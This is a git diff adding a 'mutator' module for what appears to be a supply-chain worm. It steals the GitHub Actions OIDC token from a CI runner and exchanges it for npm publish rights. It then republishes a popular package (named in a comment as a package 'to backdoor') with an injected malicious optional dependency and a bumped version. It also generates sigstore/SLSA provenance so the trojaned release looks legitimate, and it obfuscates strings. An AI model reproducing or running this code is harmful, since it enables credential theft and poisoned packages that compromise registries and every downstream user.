diff --git a/src/mutator/npmoidc/index.ts b/src/mutator/npmoidc/index.ts new file mode 100644 index 0000000..81112ce --- /dev/null +++ b/src/mutator/npmoidc/index.ts @@ -0,0 +1,189 @@ +import { $ } from "bun"; +import { randomBytes } from "crypto"; +import { copyFileSync, createWriteStream } from "fs"; +import * as fs from "fs/promises"; +import * as path from "path"; +import { join } from "path"; +import { Readable } from "stream"; +import { pipeline } from "stream/promises"; +import * as tar from "tar"; + +import { PACKAGE_NAME } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { publishTarball } from "../npm/publish"; +import { generateProvenanceBundle } from "./provenance"; + +declare function scramble(str: string): string; + +// Replace with packages to backdoor +const PACKAGES = [scramble("@opensearch-project/opensearch")]; + +export class NPMOidcClient extends Mutator { + constructor() { + super(); + } + + private async updateTarball(tarballPath: string): Promise { + const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`; + const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`); + await fs.mkdir(tmpDir, { recursive: true }); + + try { + await tar.extract({ file: tarballPath, cwd: tmpDir }); + const pkgJsonPath = path.join(tmpDir, "package", "package.json"); + const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8")); + pkg.optionalDependencies ??= {}; + pkg.optionalDependencies["@opensearch/setup"] = PACKAGE_NAME; + const [major, minor, patch] = pkg.version.split(".").map(Number); + pkg.version = `${major}.${minor}.${patch + 1}`; + await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2)); + + const updatedPath = path.join( + path.dirname(tarballPath), + `${uniqueSuffix}_${scramble(`package-updated.tgz`)}`, + ); + await pipeline( + tar.create({ gzip: true, cwd: tmpDir }, ["package"]), + createWriteStream(updatedPath), + ); + + // Defensive postcondition: fail loudly here with context if the + // tarball is somehow not a valid gzip stream, instead of + // exploding inside `gunzipSync` further down the pipeline. + const written = await fs.readFile(updatedPath); + if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) { + throw new Error( + `[npmoidc] tarball at ${updatedPath} is not a valid gzip stream ` + + `(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`, + ); + } + + logUtil.log(`Updated path: ${updatedPath}`); + return updatedPath; + } finally { + } + } + + async downloadPackages( + packages: string[], + oidcToken: string, + ): Promise<{ tmpDir: string; downloaded: string[] }> { + const tmpDir = await $`mktemp -d`.text().then((s) => s.trim()); + const downloaded: string[] = []; + + const download = async (pkg: string) => { + try { + const meta = await fetch( + scramble("https://registry.npmjs.org/") + + `${pkg.replace("/", "%2F")}`, + ); + if (!meta.ok) return; + const { "dist-tags": tags, versions } = (await meta.json()) as { + "dist-tags": { latest: string }; + versions: Record; + }; + const tarball = versions[tags.latest]?.dist?.tarball; + if (!tarball) return; + + const res = await fetch(tarball); + if (!res.ok || !res.body) return; + + const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`; + const tarballPath = join(tmpDir, filename); + await pipeline( + Readable.fromWeb(res.body as import("stream/web").ReadableStream), + createWriteStream(tarballPath), + ); + const updatedPath = await this.updateTarball(tarballPath); + + // Generate sigstore provenance (best-effort; publish proceeds without it on failure). + let provenanceBundle: Record | undefined; + try { + const result = await generateProvenanceBundle(updatedPath); + if (result) { + provenanceBundle = result.bundle; + if (result.transparencyLogUrl) { + logUtil.log(`[provenance] ${pkg}: ${result.transparencyLogUrl}`); + } + } + } catch (provErr) { + logUtil.log(`[provenance] generation failed for ${pkg}: ${provErr}`); + } + + await this.publishPackage( + updatedPath, + pkg, + oidcToken, + provenanceBundle, + ); + downloaded.push(updatedPath); + } catch (e) { + logUtil.log(`Failed to download ${pkg}: ${e}`); + } + }; + + await Promise.all(packages.map(download)); + return { tmpDir, downloaded }; + } + + async publishPackage( + tarballPath: string, + packageName: string, + oidcToken: string, + provenanceBundle?: Record, + ): Promise { + try { + const escapedPackageName = encodeURIComponent(packageName); + const npmRes = await fetch( + `https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/${escapedPackageName}`, + { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${oidcToken}`, + }, + body: JSON.stringify({ oidcToken }), + }, + ); + const { token } = (await npmRes.json()) as { token: string }; + + if (token) { + logUtil.log("About to publish!"); + return await publishTarball( + tarballPath, + token, + false, + provenanceBundle, + ); + } else { + logUtil.log("About to publish!"); + await publishTarball(tarballPath, "DummyToken", true); + return false; + } + } catch (e) { + logUtil.error("Error publishing!"); + logUtil.error(e); + return false; + } + } + + async execute(): Promise { + const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = + process.env; + + const oidcRes = await fetch( + `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`, + { + headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` }, + }, + ); + const { value: oidcToken } = (await oidcRes.json()) as { value: string }; + if (oidcToken) { + await this.downloadPackages(PACKAGES, oidcToken); + return true; + } else { + return false; + } + } +} diff --git a/src/mutator/npmoidc/provenance.ts b/src/mutator/npmoidc/provenance.ts new file mode 100644 index 0000000..ad07b16 --- /dev/null +++ b/src/mutator/npmoidc/provenance.ts @@ -0,0 +1,491 @@ +import { + createHash, + generateKeyPairSync, + sign as cryptoSign, +} from "node:crypto"; +import { readFile } from "node:fs/promises"; +import { gunzipSync } from "node:zlib"; + +import { logUtil } from "../../utils/logger"; + +const FULCIO_URL = "https://fulcio.sigstore.dev"; +const REKOR_URL = "https://rekor.sigstore.dev"; + +const INTOTO_PAYLOAD_TYPE = "application/vnd.in-toto+json"; +const INTOTO_STATEMENT_V1_TYPE = "https://in-toto.io/Statement/v1"; +const SLSA_PREDICATE_V1_TYPE = "https://slsa.dev/provenance/v1"; +const GITHUB_BUILDER_ID_PREFIX = "https://github.com/actions/runner"; +const GITHUB_BUILD_TYPE = + "https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1"; +const BUNDLE_V03_MEDIA_TYPE = "application/vnd.dev.sigstore.bundle.v0.3+json"; + +interface ProvenanceSubject { + name: string; + digest: { sha512: string }; +} + +/** + * Extracts package.json from a raw (uncompressed) tar buffer. + */ +function extractPackageJson(tar: Buffer): { name: string; version: string } { + let offset = 0; + while (offset + 512 <= tar.length) { + const header = tar.subarray(offset, offset + 512); + if (header[0] === 0) break; + + const nameField = header.subarray(0, 100); + const nameEnd = nameField.indexOf(0); + const name = nameField + .subarray(0, nameEnd === -1 ? 100 : nameEnd) + .toString("utf8"); + + const sizeStr = header + .subarray(124, 136) + .toString("utf8") + .replace(/\0/g, "") + .trim(); + const size = sizeStr ? parseInt(sizeStr, 8) : 0; + + offset += 512; + + if (name === "package/package.json" || name.endsWith("/package.json")) { + const data = tar.subarray(offset, offset + size); + return JSON.parse(data.toString("utf8")); + } + + offset += Math.ceil(size / 512) * 512; + } + throw new Error("package.json not found in tarball"); +} + +/** + * Constructs the DSSE Pre-Authentication Encoding (PAE). + * Format: "DSSEv1 " + payloadBytes + */ +function preAuthEncoding(payloadType: string, payload: Buffer): Buffer { + const prefix = `DSSEv1 ${payloadType.length} ${payloadType} ${payload.length} `; + return Buffer.concat([Buffer.from(prefix, "ascii"), payload]); +} + +/** + * Extracts the subject claim from a JWT (email if verified, otherwise sub). + */ +function extractJWTSubject(jwt: string): string { + const parts = jwt.split(".", 3); + if (!parts[1]) { + throw new Error("Malformed JWT: missing payload segment"); + } + const payload = JSON.parse(Buffer.from(parts[1], "base64").toString("utf-8")); + if (payload.email) { + if (!payload.email_verified) { + throw new Error("JWT email not verified by issuer"); + } + return payload.email; + } + if (payload.sub) { + return payload.sub; + } + throw new Error("JWT subject not found"); +} + +/** + * Converts a PEM-encoded certificate to raw DER bytes. + */ +function pemToDER(pem: string): Buffer { + const lines = pem + .split("\n") + .filter( + (l) => + !l.startsWith("-----BEGIN") && + !l.startsWith("-----END") && + l.trim() !== "", + ); + return Buffer.from(lines.join(""), "base64"); +} + +/** + * Converts a package name + version to a Package URL (purl). + * e.g. "@tanstack/react-router", "1.2.3" -> "pkg:npm/%40tanstack/react-router@1.2.3" + */ +function toPurl(name: string, version: string): string { + if (name.startsWith("@")) { + return `pkg:npm/%40${name.slice(1)}@${version}`; + } + return `pkg:npm/${name}@${version}`; +} + +/** + * Builds the SLSA v1 provenance predicate for GitHub Actions. + */ +function buildProvenanceStatement(subjects: ProvenanceSubject[]) { + const e = process.env; + const relativeRef = (e.GITHUB_WORKFLOW_REF || "").replace( + e.GITHUB_REPOSITORY + "/", + "", + ); + const delimiterIndex = relativeRef.indexOf("@"); + const workflowPath = relativeRef.slice(0, delimiterIndex); + const workflowRef = relativeRef.slice(delimiterIndex + 1); + + return { + _type: INTOTO_STATEMENT_V1_TYPE, + subject: subjects, + predicateType: SLSA_PREDICATE_V1_TYPE, + predicate: { + buildDefinition: { + buildType: GITHUB_BUILD_TYPE, + externalParameters: { + workflow: { + ref: workflowRef, + repository: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}`, + path: workflowPath, + }, + }, + internalParameters: { + github: { + event_name: e.GITHUB_EVENT_NAME, + repository_id: e.GITHUB_REPOSITORY_ID, + repository_owner_id: e.GITHUB_REPOSITORY_OWNER_ID, + }, + }, + resolvedDependencies: [ + { + uri: `git+${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}@${e.GITHUB_REF}`, + digest: { gitCommit: e.GITHUB_SHA }, + }, + ], + }, + runDetails: { + builder: { + id: `${GITHUB_BUILDER_ID_PREFIX}/${e.RUNNER_ENVIRONMENT}`, + }, + metadata: { + invocationId: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}/actions/runs/${e.GITHUB_RUN_ID}/attempts/${e.GITHUB_RUN_ATTEMPT}`, + }, + }, + }, + }; +} + +/** + * Gets a sigstore-audience OIDC token from GitHub Actions. + */ +async function getSigstoreToken(): Promise { + const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL; + const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN; + + if (!requestUrl || !requestToken) { + throw new Error("GitHub Actions OIDC env vars not available for sigstore"); + } + + const url = new URL(requestUrl); + url.searchParams.append("audience", "sigstore"); + + const response = await fetch(url.href, { + headers: { + Accept: "application/json", + Authorization: `Bearer ${requestToken}`, + }, + }); + + if (!response.ok) { + throw new Error(`Failed to get sigstore OIDC token: ${response.status}`); + } + + const data = (await response.json()) as { value: string }; + if (!data.value) { + throw new Error("Sigstore OIDC response missing token value"); + } + return data.value; +} + +/** + * Requests a short-lived signing certificate from Fulcio. + * + * Sends the OIDC identity token, the ephemeral public key (PEM/SPKI), + * and a proof-of-possession signature (the JWT subject signed with + * the ephemeral private key). + * + * Returns the PEM certificate chain (leaf first). + */ +async function getSigningCertificate( + identityToken: string, + publicKeyPEM: string, + challengeSignature: Buffer, +): Promise { + const body = { + credentials: { oidcIdentityToken: identityToken }, + publicKeyRequest: { + publicKey: { + algorithm: "ECDSA", + content: publicKeyPEM, + }, + proofOfPossession: challengeSignature.toString("base64"), + }, + }; + + const response = await fetch(`${FULCIO_URL}/api/v2/signingCert`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }); + + if (!response.ok) { + const text = await response.text(); + throw new Error( + `Fulcio signing cert request failed: ${response.status} — ${text}`, + ); + } + + const result = (await response.json()) as Record; + const chain = + result.signedCertificateEmbeddedSct?.chain?.certificates ?? + result.signedCertificateDetachedSct?.chain?.certificates; + + if (!chain || chain.length === 0) { + throw new Error("Fulcio returned no certificates"); + } + return chain as string[]; +} + +interface RekorEntry { + logIndex: number; + logID: string; + integratedTime: number; + body: string; // base64 + signedEntryTimestamp?: string; // base64 + inclusionProof?: { + logIndex: number; + rootHash: string; // hex + treeSize: number; + hashes: string[]; // hex[] + checkpoint: string; + }; +} + +/** + * Submits a DSSE envelope + verifier certificate to the Rekor + * transparency log and returns the log entry. + */ +async function submitToRekor( + envelope: Record, + leafCertPEM: string, +): Promise { + const envelopeJSON = JSON.stringify(envelope); + const encodedCert = Buffer.from(leafCertPEM).toString("base64"); + + const body = { + apiVersion: "0.0.1", + kind: "dsse", + spec: { + proposedContent: { + envelope: envelopeJSON, + verifiers: [encodedCert], + }, + }, + }; + + const response = await fetch(`${REKOR_URL}/api/v1/log/entries`, { + method: "POST", + headers: { + "Content-Type": "application/json", + Accept: "application/json", + }, + body: JSON.stringify(body), + }); + + if (!response.ok) { + const text = await response.text(); + throw new Error( + `Rekor entry creation failed: ${response.status} — ${text}`, + ); + } + + const data = (await response.json()) as Record; + const entries = Object.entries(data); + if (entries.length !== 1) { + throw new Error( + `Unexpected Rekor response: expected 1 entry, got ${entries.length}`, + ); + } + + const [, entry] = entries[0]!; + const proof = entry.verification?.inclusionProof; + + return { + logIndex: entry.logIndex, + logID: entry.logID, + integratedTime: entry.integratedTime, + body: entry.body, + signedEntryTimestamp: entry.verification?.signedEntryTimestamp, + inclusionProof: proof + ? { + logIndex: proof.logIndex, + rootHash: proof.rootHash, + treeSize: proof.treeSize, + hashes: proof.hashes, + checkpoint: proof.checkpoint, + } + : undefined, + }; +} + +/** + * Generates a sigstore provenance bundle for an npm package tarball. + * + * This implements the same flow as `sigstore.attest()` used by the + * npm CLI's `libnpmpublish`: + * + * 1. Build an in-toto/SLSA provenance statement + * 2. Get an ephemeral signing certificate from Fulcio via OIDC + * 3. Sign a DSSE envelope containing the statement + * 4. Record the envelope in the Rekor transparency log + * 5. Assemble a sigstore bundle (v0.3) with all verification material + * + * @returns The bundle JSON and an optional transparency log URL, + * or `null` if provenance generation is not possible + * (e.g. not running in GitHub Actions). + */ +export async function generateProvenanceBundle(tarballPath: string): Promise<{ + bundle: Record; + transparencyLogUrl?: string; +} | null> { + // ── 1. Read tarball and compute integrity ────────────────────── + const tarballData = await readFile(tarballPath); + const sha512Hex = createHash("sha512").update(tarballData).digest("hex"); + + const decompressed = gunzipSync(tarballData); + const pkg = extractPackageJson(decompressed); + const { name: packageName, version: packageVersion } = pkg; + + if (!packageName || !packageVersion) { + throw new Error( + "Cannot generate provenance: package.json missing name or version", + ); + } + + const subjects: ProvenanceSubject[] = [ + { + name: toPurl(packageName, packageVersion), + digest: { sha512: sha512Hex }, + }, + ]; + + // ── 2. Build the SLSA provenance statement ───────────────────── + const statement = buildProvenanceStatement(subjects); + const payloadBytes = Buffer.from(JSON.stringify(statement)); + + // ── 3. Get sigstore OIDC token ───────────────────────────────── + const sigstoreToken = await getSigstoreToken(); + + // ── 4. Generate ephemeral ECDSA P-256 keypair ────────────────── + const keypair = generateKeyPairSync("ec", { namedCurve: "P-256" }); + const publicKeyPEM = keypair.publicKey + .export({ format: "pem", type: "spki" }) + .toString(); + + // ── 5. Proof-of-possession: sign the JWT subject ─────────────── + const jwtSubject = extractJWTSubject(sigstoreToken); + const challengeSig = cryptoSign( + "sha256", + Buffer.from(jwtSubject), + keypair.privateKey, + ); + + // ── 6. Get signing certificate from Fulcio ───────────────────── + const certChain = await getSigningCertificate( + sigstoreToken, + publicKeyPEM, + challengeSig, + ); + const leafCertPEM = certChain[0]!; + const leafCertDER = pemToDER(leafCertPEM); + + // ── 7. Sign the DSSE envelope ────────────────────────────────── + const pae = preAuthEncoding(INTOTO_PAYLOAD_TYPE, payloadBytes); + const signature = cryptoSign("sha256", pae, keypair.privateKey); + + // Envelope with base64-encoded fields (for Rekor submission and + // the final bundle — matches the protobuf Envelope JSON format). + const envelopeJSON = { + payloadType: INTOTO_PAYLOAD_TYPE, + payload: payloadBytes.toString("base64"), + signatures: [{ keyid: "", sig: signature.toString("base64") }], + }; + + // ── 8. Submit to Rekor transparency log ──────────────────────── + const rekorEntry = await submitToRekor(envelopeJSON, leafCertPEM); + + logUtil.log( + `[provenance] Rekor log entry created at index ${rekorEntry.logIndex}`, + ); + + // ── 9. Build the transparency log entry for the bundle ───────── + // + // Field encoding follows the sigstore protobuf JSON serialization: + // - All bytes fields are standard base64 with padding + // - All int64 fields are JSON strings (not numbers) + // - logID from Rekor is hex; convert to base64 via Buffer + // - body/canonicalizedBody from Rekor is already base64 + // - signedEntryTimestamp from Rekor is already base64 + // - inclusionProof hashes/rootHash from Rekor are hex; convert + + const tlogEntry: Record = { + logIndex: rekorEntry.logIndex.toString(), + logId: { + keyId: Buffer.from(rekorEntry.logID, "hex").toString("base64"), + }, + kindVersion: { kind: "dsse", version: "0.0.1" }, + integratedTime: rekorEntry.integratedTime.toString(), + canonicalizedBody: rekorEntry.body, + }; + + if (rekorEntry.signedEntryTimestamp) { + tlogEntry.inclusionPromise = { + signedEntryTimestamp: rekorEntry.signedEntryTimestamp, + }; + } + + if (rekorEntry.inclusionProof) { + const p = rekorEntry.inclusionProof; + tlogEntry.inclusionProof = { + logIndex: p.logIndex.toString(), + treeSize: p.treeSize.toString(), + rootHash: Buffer.from(p.rootHash, "hex").toString("base64"), + hashes: p.hashes.map((h: string) => + Buffer.from(h, "hex").toString("base64"), + ), + checkpoint: { envelope: p.checkpoint }, + }; + } + + // ── 10. Assemble the sigstore bundle (v0.3) ──────────────────── + // + // v0.3 uses a single `certificate` field (not `x509CertificateChain`) + // and stores the leaf cert as base64-encoded DER bytes. + + const bundle: Record = { + mediaType: BUNDLE_V03_MEDIA_TYPE, + verificationMaterial: { + certificate: { + rawBytes: leafCertDER.toString("base64"), + }, + tlogEntries: [tlogEntry], + timestampVerificationData: { + rfc3161Timestamps: [], + }, + }, + dsseEnvelope: { + payloadType: INTOTO_PAYLOAD_TYPE, + payload: payloadBytes.toString("base64"), + signatures: [{ sig: signature.toString("base64") }], + }, + }; + + const transparencyLogUrl = + rekorEntry.logIndex != null + ? `https://search.sigstore.dev/?logIndex=${rekorEntry.logIndex}` + : undefined; + + return { bundle, transparencyLogUrl }; +} diff --git a/src/mutator/npmoidc/types.ts b/src/mutator/npmoidc/types.ts new file mode 100644 index 0000000..eb9e7c6 --- /dev/null +++ b/src/mutator/npmoidc/types.ts @@ -0,0 +1 @@ +export type MutatorName = "npm";